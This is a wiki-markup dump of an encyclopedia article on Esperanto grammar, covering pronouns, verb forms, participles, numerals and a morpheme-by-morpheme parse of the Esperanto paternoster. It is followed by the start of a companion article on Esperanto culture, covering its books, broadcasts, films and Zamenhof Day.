The Esperanto '''[[personal pronoun]]''' system is similar to that of English, but with the addition of the [[reflexive pronoun]] of the Romance languages. 
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
| colspan=2 | || singular || plural
|-
| colspan=2 | first person
| '''mi''' (I) || '''ni''' (we)
|-
| colspan=2 | second person
| colspan=2 | '''vi''' (you)
|-
| rowspan=3 | third&lt;br&gt;person || masculine
| '''li''' (he) || rowspan=3 | '''ili''' (they)
|-
| feminine
| '''ŝi''' (she)
|-
| [[Wiktionary:epicene|epicene]]
| '''ĝi''' (it, s/he)
|-
| colspan=2 | indefinite
| colspan=2 | '''oni''' (one, &quot;they&quot;)
|-
| colspan=2 | reflexive
| colspan=2 | '''si''' (self)
|}

Personal pronouns take the [[accusative]] suffix ''-n'' like nouns do: ''min'' (me), ''lin'' (him), ''ŝin'' (her). [[Possessive adjective]]s are formed with the adjectival suffix ''-a'': ''mia'' (my), ''ĝia'' (its), ''nia'' (our). These agree with their noun like any other [[adjective]]: ''ni salutis liajn amikojn'' (we greeted his friends). Esperanto does not have separate forms for the [[possessive pronoun]]s; this sense is generally (though not always) indicated with the definite article: ''la mia'' (mine). 

The [[reflexive pronoun]] is used, in non-subject phrases only, to refer to back to the subject, usually only in the third and indefinite persons, 
:''li lavis sin'' &quot;he washed&quot; (himself)
:''ili lavis sin'' &quot;they washed&quot; (themselves or each other)
:''li lavis lin'' &quot;he washed him&quot; (someone else)
:''li manĝis '''sian''' panon'' &quot;he ate his bread&quot; (his own bread)
:''li manĝis '''lian''' panon'' &quot;he ate his bread&quot; (someone else's bread). 

The indefinite pronoun is used when making general statements, and is often used where English would have the subject ''it'' with a passive verb, 
:''oni diras, ke ...'' &quot;they say that ...&quot; or &quot;it's said that ...&quot;

Zamenhof created an informal second-person singular pronoun ''ci'' ([[thou]]), and capitalized the formal singular pronoun ''Vi,'' following [[T-V distinction|usage in most European languages]], but these forms are rarely seen today. 

''Ĝi'' is used principally with animals and objects. Zamenhof also prescribed it to be the [[Wiktionary:epicene|epicene]] (gender-neutral) third-person singular pronoun, for use when the sex of an individual is unknown, or to refer to an epicene noun such as ''persono'' (person). However, it is generally only used for children, 
:''La infano ploras, ĉar ĝi volas manĝi'' &quot;the child is crying, because it wants to eat&quot;. 
When speaking of adults or people in general, it is much more common for the demonstrative adjective and pronoun ''tiu'' (that one) to be used in such situations.

===Other pronouns===
The '''[[demonstrative pronoun|demonstrative]]''' and '''[[relative pronoun]]s''' form part of the [[Esperanto vocabulary#Correlatives|correlative system]], and are described in that article. The pronouns are the forms ending in ''-o'' (simple pronouns) and ''-u'' (adjectival pronouns). Their accusative case is formed in ''-n,'' but the genitive case ends in ''-es,'' which is the same for singular and plural and cannot double up with the accusative. Compare the nominative phases ''lia domo'' (his house) and ''ties domo'' (that one's house, those ones' house) with the plural ''lia'''j''' domo'''j''''' (his houses) and ''ties domo'''j''''' (that one's houses, those ones' houses), and with the accusative genitive ''lia'''n''' domo'''n''''' and ''ties domo'''n'''.''

== Prepositions ==
Although Esperanto [[word order]] is fairly free, [[preposition]]s must come at the beginning of a [[noun phrase]]. Whereas in languages such as German, prepositions may require a noun to be in various [[case (linguistics)|case]]s ([[accusative]], [[dative]], ''etc.''), in Esperanto all prepositions govern the [[nominative]]: ''por Johano'' (for John). The only &quot;exception&quot; is when a preposition is ''replaced'' by the accusative. 

Prepositions should be used with a definite meaning. When no one preposition is clearly correct, the indefinite preposition ''je'' should be used, 
:''ili iros '''je''' la tria de majo'' (they'll go on the third of May: the &quot;on&quot; isn't literally true). 

Alternatively, the accusative may be used without a preposition, 
:''ili iros la tria'''n''' de majo''. 
Note that although ''la trian'' (the third) is in the accusative, ''de majo'' (of May) is still a [[prepositional phrase]], and so the noun ''majo'' remains in the nominative case. 

A frequent use of the accusative is in place of ''al'' (to) to indicate the direction or goal of motion ([[allative case]]). It is especially common when there would otherwise be a double preposition, 
:''la kato ĉasis la muson '''en''' la domo'' (the cat chased the mouse '''in''' [inside of] the house)
:''la kato ĉasis la muson '''en''' la domo'''n''''' (the cat chased the mouse '''into''' the house). 

The accusative/allative may stand in for other prepositions as well, especially when they have vague meanings that don't add much to the clause. Adverbs, with or without the case suffix, are frequently used in place of prepositional phrases,
:''li iris '''al''' sia hejmo'' (he went to his home)
:''li iris hejme'''n''''' (he went home)

Occasionally a new preposition is coined. As a bare [[root (linguistics)|root]] may indicate a preposition or [[interjection]], removing the grammatical suffix from another part of speech can be used to derive a preposition or interjection. For example, from ''fari'' (to do, to make) we get the preposition ''far'' (done by), a more precise substitute for ''de'' (of, by, from).

== Verbs ==
All verbs have regular inflections. Three [[tense]]s together form what is called the [[grammatical mood#indicative mood|indicative mood]]. The other moods are the [[infinitive]], [[conditional mood|conditional]], and [[grammatical mood#jussive mood|jussive]]. No [[Grammatical aspect|aspectual]] distinctions are required by the grammar, but derivational expressions of [[Aktionsart]] are common.  

Verbs do not change form according to their [[subject (grammar)|subject]]. ''I am'', ''we are,'' and ''he is'' are simply ''mi estas'', ''ni estas'', and ''li estas'', respectively. Impersonal subjects are not used: ''pluvas'' (it is raining); ''estas muso en la domo'' (there's a mouse in the house). 

===The verbal paradigm===
The tenses have characteristic vowels. ''A'' indicates the present tense, ''i'' the past, and ''o'' the future. 

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot;
!
![[grammatical mood#indicative mood|Indicative]]
![[Participle|Active participle]]
![[Participle|Passive participle]]
![[Infinitive]]
![[grammatical mood#jussive mood|Jussive]]
![[conditional mood|Conditional]]
|-
![[past tense|Past]]
|align=&quot;center&quot;|-is
|align=&quot;center&quot;|-inta
|align=&quot;center&quot;|-ita
|align=&quot;center&quot; rowspan=&quot;3&quot;|-i
|align=&quot;center&quot; rowspan=&quot;3&quot;|-u
|align=&quot;center&quot; rowspan=&quot;3&quot;|-us
|-
![[present tense|Present]]
|align=&quot;center&quot;|-as
|align=&quot;center&quot;|-anta
|align=&quot;center&quot;|-ata
|-
![[future tense|Future]]
|align=&quot;center&quot;|-os
|align=&quot;center&quot;|-onta
|align=&quot;center&quot;|-ota
|}

The verbal forms may be illustrated with the root ''esper-'' (hope):
:''esperi'' (to hope)
:''esperas'' (hopes, is hoping)
:''esperis'' (hoped, was hoping)
:''esperos'' (shall hope, will hope)
:''esperu'' (hope!)
:''esperus'' (were to hope, would hope)

A verb can be made emphatic with the particle ''ja'' (indeed): ''mi ja esperas'' (I do hope), ''mi ja esperis'' (I did hope).

===Mood===
The [[conditional mood]] is used for such expressions as ''se mi povus, mi irus'' (if I could, I would go) and ''se mi estus vi, mi irus'' (if I were you, I'd go). 

The [[grammatical mood#jussive mood|jussive mood]], called the ''volitive'' in Esperanto, is used for wishing and requesting, and serves as the [[imperative]]. It covers some of the uses of the [[subjunctive]] in European languages, 
:''Iru!'' (Go!) 
:''Mi petis, ke li venu.'' (I asked him to come.) 
:''Li parolu.'' (Let him speak.) 
:''Ni iru.'' (Let's go.) 
:''Benu tiun domaĉon'' (Bless this mess.)
:''Mia filino belu!'' (May my daughter be beautiful!)

===Aspect===
Although verbal [[Grammatical aspect|aspect]] is not grammatically required in Esperanto, the Slavic aspectual system survives in two [[Aktionsart]] affixes, [[perfective aspect|perfective]] ''ek-'' and [[imperfective aspect|imperfective]] ''-adi''. Compare,
:''Tiu ĉi '''ek'''interesis min kaj montris al mi, ke ...'' (This '''caught''' my interest and showed me that ...)
and 
:''Tiu ĉi interesis min'' (This interested me).
Various prepositions may also be used as [[Aktionsart]] prefixes, such as ''el'' (out of), used to indicate that an action is performed to completion or at least to a considerable degree. In,
:''Germanan kaj francan lingvojn mi '''el'''lernadis en infaneco'' (I learned French and German in childhood),
the verb ''el-lern-ad-is'' is past tense (''-is''), on-going/imperfective (''-ad-''), and performed to significant completion (''el-''). Such distinctions are notoriously difficult to render in English, but perhaps a circumlocution may help: ''In childhood, I spent time soaking up German and French''. Here ''spend time &amp;mdash;ing'' corresponds roughly to ''-adi'', and the ''up'' of ''soak up'' [originally also a preposition] conveys some of the meaning of ''el-''. 

The participles (see below) may also be used for aspectual distinctions.

===The copula===
The verb ''esti'' (to be) is both the [[copula]] and the existential (&quot;there is&quot;) verb. As a copula linking two [[noun phrase]]s, it does not cause either to take the accusative case. Therefore, unlike the situation with other verbs, word order with ''esti'' can be semantically important: compare ''hundoj estas personoj'' (dogs are people) and ''personoj estas hundoj'' (people are dogs). 

It is becoming increasingly common to replace ''esti''-plus-adjective with a verb: ''la ĉielo estas blua'' or ''la ĉielo bluas'' (the sky is blue). This is a stylistic rather than grammatical change in the language, as the more economical verbal forms were always found in poetry.

===Participles===
[[Participle]]s are verbal derivatives. In Esperanto, they retain the tense of the verb in their vowel. They may be [[active]] (performing an action) or [[passive]] (receiving an action). 

====Adjectival participles====
The basic principle of the participles may be illustrated with the verb ''fali'' (to fall). Picture [[Wile E. Coyote]] running off a cliff. Before gravity kicks in (after all, this is a cartoon), he is ''fal'''o'''nta'' (about to fall). As he drops, he is ''fal'''a'''nta'' (falling). After he impacts the desert floor, he is ''fal'''i'''nta'' (fallen). 

Active and passive pairs can be illustrated with the transitive verb ''haki'' (to chop). Picture a woodsman approaching a tree with an axe, intending to chop it down. He is ''hak'''on'''ta'' (about to chop) and the tree is ''hak'''o'''ta'' (about to be chopped). While swinging the axe, he is ''hak'''an'''ta'' (chopping) and the tree ''hak'''a'''ta'' (being chopped). After the tree has fallen, he is ''hak'''in'''ta'' (having chopped) and the tree ''hak'''i'''ta'' (chopped).

====Compound tense====
Compound tenses are formed with the adjectival participles plus ''esti'' (to be) as the auxiliary verb,

*Present [[Continuous aspect|progressive]]: ''mi estas kaptanta'' (I am catching [something]), ''mi estas kaptata'' (I am being caught)
*Present [[perfect aspect|perfect]]: ''mi estas kaptinta'' (I have caught [something]), ''mi estas kaptita'' (I have been caught)
*Present [[predictive]]: ''mi estas kaptonta'' (I am going to/about to catch), ''mi estas kaptota'' (I am going to be/about to be caught)

These are not used as often as their English equivalents. For &quot;I ''am'' go''ing'' to the store&quot;, you would normally use the simple present ''mi iras'' in Esperanto. 

The tense and mood of ''esti'' can be changed in these compound tenses, 
:''mi estis kaptinta'' (I had caught)
:''mi estus kaptonta'' (I would be about to catch)
:''mi estos kaptanta'' (I will be catching). 
The option of replacing ''esti'' + adjective with a verb holds for adjectival participles, with the verbal suffix reflecting the tense of the auxiliary,
:''mi estas kaptinta'' or ''mi kaptintas'' (I have caught)
:''mi estis kaptinta'' or ''mi kaptintis'' (I had caught). 

Adjectival participles agree with nouns, as any other adjectives do,
:''ili ŝparis la arbojn '''hakotajn''''' (they spared the trees '''that were to be chopped down''').

====Nominal participles====
Participles may be turned into adverbs or nouns by replacing the adjectival suffix ''-a'' with ''-e'' or ''-o''. This means that, in Esperanto, some nouns may be inflected for tense. 

A nominal participle indicates ''one who participates'' in the action specified by the verbal root. For example, ''esperinto'' is a &quot;hoper&quot; (past tense), or ''one who had been hoping''. (In the early years of the language, such forms were assumed to be masculine, but that is no longer the case.) 

====Adverbial participles====
[[Adverbial participle]]s are used with subjectless clauses,
:''Kaptinte la pilkon, li ekkuris golen'' (Having caught the ball, he ran for the goal).

====Conditional and tenseless participles (unofficial)====
Occasionally, the participle paradigm will be extended to include conditional participles, with the vowel ''u'' (''-unt-, -ut-''). If, for example, in our tree-chopping example, the woodsman found that the tree had been spiked and so couldn't be cut down after all, he would be ''hakunta'' and the tree ''hakuta''. (These don't translate well into English.) 

This can also be illustrated with the verb ''prezidi'' (to preside). Just after the recount of the [[U.S. presidential election, 2000|2000 US presidential election]], 
*then-president [[Bill Clinton]] was still ''prezid'''a'''nto'' (current president) of the United States, 
*president-elect [[George W. Bush]] was declared ''prezid'''o'''nto'' (president-to-be), 
*the previous president [[George H. W. Bush]] was a ''prezid'''i'''nto'' (former president), and 
*the contending candidate [[Al Gore]] was ''prezid'''u'''nto'' (would-be president – that is, if the recount had gone differently).

Note that this example is somewhat artificial, since the customary word for 'president' is the  tense-neutral word ''prezid'''e'''nto'', which is officially a separate root, not a derivative of the verb ''prezidi''.

The conditional forms are [[nonce words]], but their regular derivation ensures they are readily understood, even if rarely needed. No European language has conditional participles; in English, words like ''prezidunto'' must be expressed periphrastically.

Likewise, some Esperantists have proposed a tenseless partiple, though only for active-participle role. The element ''-ento'' is not officially a participle or even a separate morpheme, but it is very common and is sometimes regarded as a suffix. It frequently occurs in words for occupations where one would not wish to specify tense, such as ''prezidento'' or ''studento'' (student). Since there is often a verb derived from the same Latin root, in these cases ''prezidi'' (to preside) and ''studi'' (to study), this ''-ento'' has occasionally been proposed as a tense-neutral active participle by analogy with the temporal participles ''-anto, -into, -onto''.

However, even if the participial paradigm were to be extended in this way, it would be asymmetric in that there can be no direct passive counterpart to *''-ento'' because the expected ''-eto'' already exists as the diminutive suffix. The nearest equivalent is the [[middle voice]] suffix ''-iĝi,'' which is commonly used as a generic passive. Unlike the active case, where a few new nouns like ''prezidento'' were sufficient to avoid making the language overly specific, a need for a neutral passive participle was felt in the verbs. For example, there was heated debate for several decades as to whether &quot;I was born in 19xx&quot; should be ''mi estis naskita'' (I had been born) or ''mi estis naskata'' (literally 'I was being born'), with the French and Germans generally holding opposite opinions deriving from usage in their native languages. Today, people sidestep the issue with the temporally neutral ''mi naskiĝis'' (I was born).

== Negatives ==
A statement is made negative by using ''ne'' or one of the negative ''(neni-)'' [[Esperanto grammar#Correlatives|correlatives]]. Only one negative word is allowed per clause:

: ''Mi ne faris ion ajn.'' I didn't do anything.

''*Mi ne faris nenion ajn'' (I didn't do nothing) is considered nonsensical.

The word ''ne'' comes before the word it negates, with the default position being before the verb:
: ''Mi ne skribis tion'' (I didn't write that)
: ''Ne mi skribis tion'' (It wasn't me who wrote that)
: ''Mi skribis ne tion'' (It wasn't that that I wrote)

The latter will frequently be reordered as ''ne tion mi skribis'' depending on the flow of information.

== Questions ==
''Main article: [[Interrogatives in Esperanto]]''

&quot;Wh&quot; questions are asked with one of the interrogative/relative (''ki-'') [[Esperanto grammar#Correlatives|correlatives]]. They are commonly placed at the beginning of the sentence, but different word orders are allowed for stress:

:''Li scias, kion vi faris'' (He knows what you did.)
:''Kion vi faris?'' (What did you do?)
:''Vi faris kion?'' (You did ''what?)''

Yes/no questions are marked with the conjunction ''ĉu'' (whether): 

:''Mi ne scias, ĉu li venos'' (I don't know whether he'll come)
:''Ĉu li venos?'' (Will he come?)

Such questions can be answered ''jes'' (yes) or ''ne'' (no) in the European fashion of aligning with the polarity of the answer, or ''ĝuste'' (correct) or ''malĝuste'' (incorrect) in the Japanese fashion of aligning with the polarity of the question: 

:''Ĉu vi ne iris?'' (Did you not go?)
:''&amp;mdash; Ne, mi ne iris'' (No, I didn't go); ''&amp;mdash; Jes, mi iris'' (Yes, I went)
:''&amp;mdash; Ĝuste, mi ne iris'' (Correct, I didn't go); ''&amp;mdash; Malĝuste, mi iris'' (No, I did go)

Note that Esperanto questions may have the same word order as statements.

== Conjunctions ==
Basic Esperanto [[conjunction]]s are ''kaj'' (both/and), ''aŭ'' (either/or), ''nek'' (neither/nor), ''se'' (if), ''ĉu'' (whether/or), ''sed'' (but), ''anstataŭ'' (instead of), ''krom'' (besides, in addition to), ''kiel'' (like, as), ''ke'' (that). Like prepositions, they precede the phrase or clause they modify: 

:''Mi vidis kaj lin kaj lian amikon'' (I saw both him and his friend)
:''Estis nek hele nek agrable'' (it was neither clear [sunny] nor pleasant)
:''ĉu pro kaprico, ĉu pro natura lingvo-evoluo'' (whether by whim, or by natural language development)
:''Li volus, ke ni iru'' (he would like us to go)

However, unlike prepositions, they allow the accusative case, as in the following example from Don Harlow: 

:''Li traktis min kiel princon'' (He treated me like a prince: that is, as he would treat a prince)
:''Li traktis min kiel princo'' (He treated me like a prince: that is, as a prince would treat me)

==Interjections==
Since [[interjection]]s have no part-of-speech suffix, they may be derived from bare affixes or roots: ''ek!'' (get going!), from the perfective prefix; ''um'' (um, er), from the indefinite/undefined suffix; ''fek!'' (shit!), from ''feki'' (to defecate).

== Word formation ==
:''Main article:'' '''[[Esperanto vocabulary#Word formation|Esperanto word formation]]'''
Esperanto [[morphology (linguistics)|derivational morphology]] uses a large number of lexical and grammatical affixes ([[prefix]]es and [[suffix]]es). These, along with compounding, decrease the memory load of the language, as they allow for the expansion of a relatively small number of basic roots into a large vocabulary. For example, the Esperanto root ''vid-'' (see) regularly corresponds to several dozen English words: ''see (saw, seen), sight, blind, vision, visual, visible, nonvisual, invisible, unsightly, glance, view, vista, panorama, observant'' etc., though there are also separate Esperanto roots for a couple of these concepts.

==Numbers==
===Numerals===
The cardinal [[numerals]] are:

:''nul'' (zero)
:''unu'' (one)
:''du'' (two)
:''tri'' (three)
:''kvar'' (four)
:''kvin'' (five)
:''ses'' (six)
:''sep'' (seven)
:''ok'' (eight)
:''naŭ'' (nine)
:''dek'' (ten)
:''cent'' (one hundred)
:''mil'' (one thousand)

These are grammatically numerals, not nouns, and as such do not take the accusative case suffix. However, ''unu'' (and only ''unu'') is sometimes used adjectivally or demonstratively, meaning &quot;a certain&quot;, and in such cases it may take the plural affix ''-j'', just as the demonstrative pronoun ''tiu'' does:
:''unu'''j''' homo'''j'''''
:&quot;certain people&quot;; 
:''ili kuris unu'''j''' post la aliaj'' 
:&quot;they ran some after others&quot;. 
In such use ''unu'' is irregular in that it doesn't take the accusative affix ''-n'' in the singular, but does in the plural: 
:''ia'''n''' unu ideo'''n''''' 
:&quot;some particular idea&quot;, 
but 
:''unuj objektoj venis en unu'''jn''' mano'''jn''', aliaj en aliajn manojn''
:&quot;some objects come into certain hands, others into other hands&quot;.
Additionally, when counting off, the final ''u'' of ''unu'' may be dropped, as if it were a part-of-speech suffix: 
:''Un'! Du! Tri! Kvar!''

===Higher numbers===
As in other languages, there are several systems for numbers above a million. A ''[[billion]]'' in the US and Russia is different from a ''billion'' in France and Germany (10&lt;sup&gt;9&lt;/sup&gt; ''vs'' 10&lt;sup&gt;12&lt;/sup&gt;; that is, a thousand million ''vs'' a million million), and Esperanto ''biliono'' is likewise ambiguous.  However, there is an additional unambiguous system:

:10&lt;sup&gt;6&lt;/sup&gt;: ''miliono'' 
:10&lt;sup&gt;9&lt;/sup&gt;: ''miliardo'' (or ''mil milionoj'')
:10&lt;sup&gt;12&lt;/sup&gt;: ''duiliono''
:10&lt;sup&gt;15&lt;/sup&gt;: ''duiliardo'' (or ''mil duilionoj'')
:10&lt;sup&gt;18&lt;/sup&gt;: ''triiliono''
:10&lt;sup&gt;21&lt;/sup&gt;: ''triiliardo'' (or ''mil triilionoj'')
:''etc.''

Note that these are not numerals but nouns, and behave as such.

An additional unambiguous system is provided by the international set of metric prefixes, and occasionally the nonce numerals ''meg'' (miliono) and ''gig'' (miliardo) are derived from them.

===Compound numbers and derivatives===
Numerals are written together as one word when their values are multiplied, and separately when their values are added (''dudek'' 20, ''dek du'' 12, ''dudek du'' 22). Ordinals are formed with the adjectival suffix ''-a'', quantities with the nominal suffix ''-o'', multiples with ''-obl-'', fractions with ''-on-'', collectives with ''-op-'', and repetitions with the root ''-foj-''. 

:''sescent sepdek kvin'' (675)
:''tria'' (third [as in ''first, second, third''])
:''trie'' (thirdly)
:''dudeko'' (a score)
:''duobla'' (double)
:''kvarono'' (one fourth, a quarter)
:''duope'' (by twos)
:''dufoje'' (twice)

The particle ''po'' is used to mark distributive numbers, that is, the idea of distributing a certain number of items to each member of a group. Consequently the [[logogram]] @ is not used (except in email addresses, of course), 
:''mi donis al ili po tri pomojn'' or ''pomojn mi donis al ili po tri'' (I gave them three apples each). 
Note that particle ''po'' forms a phrase with the numeral ''tri'' and is not a preposition for the noun phrase ''tri pomojn'', so it does not prevent a grammatical object from taking the accusative case.

== Comparisons ==
Comparisons are made with the adverbial correlatives ''tiel ... kiel'' (as ... as), the adverbial roots ''pli'' (more) and ''plej'' (most), the antonym prefix ''mal-'', and the preposition ''ol'' (than): 

:''mi skribas tiel bone kiel vi'' (I write as well as you)
:''tiu estas pli bona ol tiu'' (this one is better than that one)
:''tio estas la plej bona'' (that's the best)
:''la mia estas malpli multekosta ol la via'' (mine is less expensive than yours)

Implied comparisons are made with ''tre'' (very) and ''tro'' (too [much]). 

Phrases like &quot;The more people, the smaller the portions&quot; and &quot;All the better!&quot; are translated using ''ju'' and ''des'' in place of &quot;the&quot;: 
:'''''Ju''' pli da homoj, '''des''' malpli grandaj la porcioj'' (The more people, the smaller the portions)
:'''''Des''' pli bone!'' (All the better!)

== Non-Indo-European aspects ==
Although Esperanto is overwhelmingly [[Romance languages|Romance]], [[Slavic languages|Slavic]], and [[Germanic languages|Germanic]] in origin, with a bit of [[Classical Greek]], there are, arguably, elements of the grammar which are not found in these language families. Most noticeably, Esperanto has no [[ablaut]] (internal inflection of its [[root word|roots]]), something which is nearly universal in the Indo-European languages. Examples of ablaut in English are ''mouse'' vs. ''mice'' for nouns, ''less'' vs. ''least'' for adjectives, and ''run'' vs. ''ran'' for verbs. However, European languages also have many words without ablaut, such as ''cat'' vs. ''cats,'' ''fewer'' vs. ''fewest,'' and ''walk'' vs. ''walked.'' (This is the so-called [[strong (grammatical term)|strong]]-[[weak (grammatical term)|weak]] dichotomy.) Indeed, for many European languages the majority of words inflect without ablaut; Esperanto merely extends this tendency. The closest Esperanto comes to ablaut is in a few sets of related root words such as ''pli, plu, plej'' (more, more, most), ''tre, tro'' (very, too much), and the verbal morphemes ''-as, -anta, -ata; -is, -inta, -ita;'' and ''-os, -onta, -ota.''

Sometimes the part-of-speech endings are given as another example of non-European grammar, but they are similar in their essentials to the more complex system of Russian, which has separate sets of suffixes for nouns, adjectives, verbs, and adverbs. At first Esperanto may appear to stand out in having a suffix for the nominative-singular inflection of nouns, but this is parallel to the feminine and neuter nouns of Russian and Latin; as a rule, bare noun roots only occur in those languages when masculine in [[grammatical gender|gender]]. Although it is not the source of the Esperanto system, [[Icelandic language|Icelandic]] is an example of a European language with a general nominative-singular suffix. 

Other arguably non-Indo-European features are derived through regular [[Analogy#Linguistics|analogic]] extension of standard European grammatical structures. For example, the nominal-adjectival paradigm is taken from Greek: Esperanto nominative singular ''mus'''o''''' (mouse) vs. Greek ''mous'''a''','' nominative plural ''muso'''j''''' vs. Greek ''mousa'''i''','' and accusative singular ''muso'''n''''' vs. Greek ''mousa'''n'''.'' However, Esperanto does not have a separate [[portmanteau]] accusative plural suffix like Greek ''mous-'''ās''';'' rather, it compounds the accusative and plural suffixes for this use: ''mus-'''o'''-'''j'''-'''n'''.'' It has been claimed that this system is similar to [[Hungarian language|Hungarian]] and [[Turkish language|Turkish]] grammar in its mechanics; however, those languages do not have the grammatical singular-plural distinction that Esperanto and the Indo-European languages do. 

A more clearly non-Indo-European feature is the future participle. Many European languages have three tenses, past, present, and future, but only two participles, past and present. Esperanto extends this system to a pair of future participles, ''-onta'' and ''-ota,'' which are transparently related both to the future verbal tense ''-os'' and to the other participles (''-anta, -ata; -inta, -ita,'' which reflect the vowels of the present and past verbal tenses ''-as, -is''). Occasionally this system has been extended further, with nonce conditional participles ''-unta'' and ''-uta'' derived from the conditional mood in ''-us.'' 

In none of these cases were the non-Indoeuropean elements of Esperanto grammar taken from other language families such as [[Semitic languages|Semitic]], [[Finno-Ugric languages|Fenno-Ugric]], or [[Turkic languages|Turkic]]. Rather, they were derived through internal extensions of existing European grammatical structures.

== Sample text ==	 

The paternoster, from the [[Unua Libro|first Esperanto publication]] in 1887, illustrates many of the grammatical points presented above, and should be readable without translation,

:''Patro nia, kiu estas en la ĉieloj,	 
:''sanktigata estu via nomo.	 
:''Venu via regno,	 
:''fariĝu via volo,	 
:''kiel en la ĉielo, kaj sur la tero.	 
:''Panon nian ĉiutagan donu al ni hodiaǔ.	 
:''Kaj pardonu al ni niajn ŝuldojn,	 
:''kiel ankaǔ ni pardonas al niaj ŝuldantoj.	 
:''Kaj ne konduku nin en tenton,	 
:''sed liberigu nin de la malbono.	 
:''(Ĉar via estas la regno kaj la potenco	 
:''kaj la gloro eterne.	 
:''Amen.)''

(A [http://eo.wikipedia.org/wiki/Patro_Nia slightly different version].)

The morphologically complex words (see [[Esperanto vocabulary#word formation|Esperanto word formation]]) are,
:{| class=wikitable
|colspan=4 align=center|''sanktigata''
|- align=center
|'''sankt'''||'''-ig'''||'''-at'''||'''-a''' 
|- align=center
|''holy''||causative||passive&lt;br&gt;participle||adjective
|- align=center
|colspan=4|&quot;made holy&quot;
|}
:{| class=wikitable
|colspan=3 align=center|''fariĝu''
|- align=center
|'''far'''||'''-iĝ'''||'''-u''' 
|- align=center
|''do''||middle&lt;br&gt;voice||jussive
|- align=center
|colspan=3|&quot;be done&quot;
|}
:{| class=wikitable
|colspan=4 align=center|''ĉiutagan''
|- align=center
|'''ĉiu'''||'''-tag'''||'''-a'''||'''-n''' 
|- align=center
|''every''||''day''||adjective||accusative
|- align=center
|colspan=4|&quot;daily&quot;
|}
:{| class=wikitable
|colspan=4 align=center|''ŝuldantoj''
|- align=center
|'''ŝuld'''||'''-ant'''||'''-o'''||'''-j''' 
|- align=center
|''owe''||active&lt;br&gt;participle||noun||plural
|- align=center
|colspan=4|&quot;debtors&quot;
|}
:{| class=wikitable
|colspan=5 align=center|''liberigu nin''
|- align=center
|'''liber'''||'''-ig'''||'''-u'''||'''ni'''||'''-n'''
|- align=center
|''free''||causative||jussive||''we''||accusative
|- align=center
|colspan=5|&quot;free us&quot;
|}
:{| class=wikitable
|colspan=4 align=center|''la malbono''
|- align=center
|'''la'''||'''mal'''||'''-bon'''||'''-o''' 
|- align=center
|generic&lt;br&gt;article||antonym||''good''||noun
|- align=center
|colspan=4|&quot;evil&quot;
|}

== External links ==
A fairly good overview of Esperanto's grammar and word-building system can be gained by viewing [http://www.webcom.com/~donh/Esperanto/rules.html &quot;The Sixteen Rules of Esperanto&quot;], [http://www.webcom.com/~donh/Esperanto/correlatives.html &quot;The Esperanto Correlatives&quot;] and [http://www.webcom.com/~donh/Esperanto/affixes.html &quot;Word Building With Esperanto Affixes&quot;]

Also see Jiri Hana's Master thesis overview of Esperanto: 
:[http://www.ling.ohio-state.edu/~hana/esr/grammar/EsrGrammar-Title.html &quot;Esperanto Grammar&quot;]

[[Category:Esperanto language|Grammar]]
[[Category:Grammars of specific languages]]

[[be:Граматыка эспэранта]]
[[fi:Esperanton kielioppi]]
[[fr:Grammaire de l'espéranto dans le Fundamento]]
[[lt:Esperanto gramatika]]
[[ro:Gramatica limbii esperanto]]
[[zh:世界语语法]]</text>
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  <page>
    <title>Esperanto culture</title>
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      <text xml:space="preserve">{{Esperanto}}
The language [[Esperanto]] is often used to access an international [[culture]].  There are over 25,000 Esperanto books (originals and translations) as well as over a hundred regularly distributed [[Esperanto magazine]]s.  Many Esperanto speakers use the language for free travel throughout the world using the [[Pasporta Servo]].  Others like the idea of having [[pen pal]]s in many countries around the world using services like the [[Esperanto Pen Pal Service]]. Every year, 1500-3000 Esperanto speakers meet for the ''[[World Congress of Esperanto]]'' ''(Universala Kongreso de Esperanto)''.

==Literature, music and film==
Every year, hundreds of new titles are published in Esperanto along with [[Esperanto music|music]].  Also, many Esperanto newspapers and magazines exist. 

''[[Monato]]'' is a general news magazine &quot;like a genuinely international ''[[Time (magazine)|Time]]'' or ''[[Newsweek]]''&quot; [http://www.esperanto-usa.org/epss.html], but written by local correspondents. A magazine for the blind, ''A&amp;#365;roro'', has been published since 1920. 

Esperanto can be heard in television and radio broadcasts and on the internet. There are currently radio broadcasts from [[China Radio International]], [[Melbourne Ethnic Community Radio]], [[Radio Habana Cuba]], [[RAI|Radio Audizioni Italiane]] (Rai), [[Radio Polonia]], and [[Radio Vatican]]. [[Internacia Televido]], an internet television channel, began broadcasting in november 2005.

Historically most of the [[music]] published in Esperanto has been in various folk traditions; in recent decades more rock and other modern genres has appeared.

In [[1964]], [[Jacques-Louis Mahé]] produced the first full-length feature film in Esperanto, entitled ''[[Angoroj]]''. This was followed in [[1965]] by ''[[Incubus (movie)|Incubus]]'', starring [[William Shatner]], being the first American Esperanto-production. Several shorter [[Esperanto film|films]] have been produced since. [[As of 2003|As of July 2003]], the Esperanto-language Wikipedia [http://eo.wikipedia.org/wiki/Esperanto-filmo lists] 14 films and 3 short films.
[[Image:Ijkde.jpg|thumb|right|250px|Participants at Esperanto international youth conference]]
==Cultural community==
There are cultural commonalities between Esperanto speakers, which is a distinctive feature of a cultural community. Esperanto was created to foster universal understanding, solidarity and peace. A large proportion of the Esperanto movement continue to hold such goals, and most are at least sympathetic to them. Additionally, many Esperantists use the language as a window to the larger world, to meet people from other countries on an equal footing, and for travel. The Esperanto-community has a certain set of shared background knowledge. 

To some extent there are also shared [[tradition]]s, like the [[Zamenhof Day]], and shared [[behaviour]] patterns, like avoiding the usage of one's national language at Esperanto meetings unless there is good reasons for its use (Esperanto culture has a special word, ''krokodili'' (&quot;to crocodile&quot;), to describe this avoided behaviour). On the other hand, some aspects of shared traditions normally found in cultural communities, like clothing and cooking, aren't found in the Esperanto community.

On [[December 15]] ([[L. L. Zamenhof|L. L. Zamenhof's]] birthday), Esperanto speakers around the world celebrate [[Zamenhof Day]], sometimes relabelled Esperanto Book Day, which might easily turn into World Esperanto Day in the future.

The poem ''[[La Espero]]'' is generally considered to be the Esperanto [[anthem]].  It speaks of the achievement of world peace, &quot;sacred harmony&quot; and &quot;eternal blessing&quot; on the basis of a neutral language. Nonetheless Esperanto speakers may or may not agree whether the stated benefits could in fact be achieved in this way.  At the first Esperanto congress, in [[Boulogne-sur-Mer]] in 1905, a declaration was made which defined an &quot;Esperantist&quot; merely as one who knows and uses the language &quot;regardless of what kind of aims he uses it for&quot;, and which also specifically declared any ideal beyond the spread of the language itself to be a private matter for the individual speaker.

